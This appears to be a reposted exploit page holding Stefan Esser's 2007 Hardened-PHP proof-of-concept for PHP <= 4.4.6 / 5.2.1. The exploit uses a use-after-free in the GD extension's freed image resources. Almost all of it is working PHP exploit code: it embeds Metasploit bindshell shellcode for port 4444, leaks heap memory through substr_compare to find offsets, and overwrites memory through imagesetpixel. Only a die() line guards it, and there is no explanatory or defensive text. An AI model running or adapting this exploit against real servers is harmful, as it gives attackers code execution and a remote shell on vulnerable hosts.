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PHP <= 4.4.6 / 5.2.1 ext/gd Already Freed Resources Usage Exploit

PHP <= 4.4.6 / 5.2.1 ext/gd Already Freed Resources Usage Exploit

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代码:
<?php
////////////////////////////////////////////////////////////////////////
// _ _        _           _    ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _  ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_|   |_| |_||_||_|  //
//                                  //
//     Proof of concept code from the Hardened-PHP Project    //
//          (C) Copyright 2007 Stefan Esser         //
//                                  //
////////////////////////////////////////////////////////////////////////
//       PHP gd already freed resource usage exploit      //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

// linux x86 bindshell on port 4444 from Metasploit
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
   "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
   "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
   "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
   "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
   "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
   "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;

findOffsets(); // Comment out if you want to just test the crash

class dummyclass { }

function myErrorHandler()
{
  imagedestroy($GLOBALS[&#39;img&#39;]);
  
  // Clipping
  $GLOBALS[&#39;x&#39;] = str_repeat(chr(0), 7311);
  $GLOBALS[&#39;x&#39;][7310] = chr(0x00);
  $GLOBALS[&#39;x&#39;][7309] = chr(0x01);
  $GLOBALS[&#39;x&#39;][7308] = chr(0x00);

  $GLOBALS[&#39;x&#39;][7307] = chr(0x7f);
  $GLOBALS[&#39;x&#39;][7306] = chr(0xff);
  $GLOBALS[&#39;x&#39;][7305] = chr(0xff);
  $GLOBALS[&#39;x&#39;][7304] = chr(0xff);

  $GLOBALS[&#39;x&#39;][7303] = chr(0);
  $GLOBALS[&#39;x&#39;][7302] = chr(0);
  $GLOBALS[&#39;x&#39;][7301] = chr(0);
  $GLOBALS[&#39;x&#39;][7300] = chr(0);

  $GLOBALS[&#39;x&#39;][7299] = chr(0x80);
  $GLOBALS[&#39;x&#39;][7298] = chr(0);
  $GLOBALS[&#39;x&#39;][7297] = chr(0);
  $GLOBALS[&#39;x&#39;][7296] = chr(0);

  // True Color Image
  $GLOBALS[&#39;x&#39;][0x1c38] = chr(1);
  // True Color Pixelmap (1st entry must be 0)
  $GLOBALS[&#39;x&#39;][0x1c3c] = chr(0x08);
  $GLOBALS[&#39;x&#39;][0x1c3d] = chr(0x80);
  $GLOBALS[&#39;x&#39;][0x1c3e] = chr(0x04);
  $GLOBALS[&#39;x&#39;][0x1c3f] = chr(0x08);

  return true;
}

function poke($addr, $value)
{
  $GLOBALS[&#39;img&#39;] = imagecreate(1, 1);
  imagesetpixel($GLOBALS[&#39;img&#39;], $addr >> 2, new dummyclass(), $value);
}

function peek($addr)
{
  $GLOBALS[&#39;img&#39;] = imagecreate(1, 1);
  return imagecolorat($GLOBALS[&#39;img&#39;], $addr >> 2, new dummyclass());
}

printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);

error_reporting(E_ALL);
set_error_handler("myErrorHandler");
poke($offset_2, $offset_1);
unset($d);
















// This function uses the substr_compare() vulnerability
// to get the offsets.

function findOffsets()
{
  global $offset_1, $offset_2, $shellcode;
  // We need to NOT clear these variables,
  // otherwise the heap is too segmented
  global $memdump, $d, $arr;
  
  $sizeofHashtable = 39;
  $maxlong = 0x7fffffff;

  // Signature of a big endian Hashtable of size 256 with 1 element
  $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00";

  $memdump = str_repeat("A", 18192);
  for ($i=0; $i<400; $i++) {
   $d[$i]=array();
  }
  unset($d[350]);
  $x = str_repeat("\x01", $sizeofHashtable);
  unset($d[351]);
  unset($d[352]);
  $arr = array();
  for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
  $arr[$shellcode] = 1;
  for ($i=0; $i<129; $i++) { unset($arr[$i]); }

  // If the libc memcmp leaks the information use it
  // otherwise we only get a case insensitive memdump
  $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

  for ($i=0; $i<18192; $i++) {
   $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
   $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
   if ($y-$Y == 1 || $Y-$y==1){
    $y = chr($y);
    if ($b && strtoupper($y)!=$y) {
     if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
      $y = strtoupper($y);
     }
    }
    $memdump[$i] = $y;
   } else {
     $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
    $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
    if ($y-$Y != 1 && $Y-$y!=1){
     $memdump[$i] = chr(1);
    } else {
     $memdump[$i] = chr(0);
    }  
   }
  }
  
  // Search shellcode and hashtable and calculate memory address
  $pos_shellcode = strpos($memdump, $shellcode);
  $pos_hashtable = strpos($memdump, $search);
  
  if ($pos_shellcode == 0 || $pos_hashtable == 0) {
   die ("Unable to find offsets");
  }
  
  $addr = substr($memdump, $pos_hashtable+6*4, 4);
  $addr = unpack("L", $addr);
  // Fill in both offsets
  $offset_1 = $addr[1] + 32;
  $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4;
}
?>

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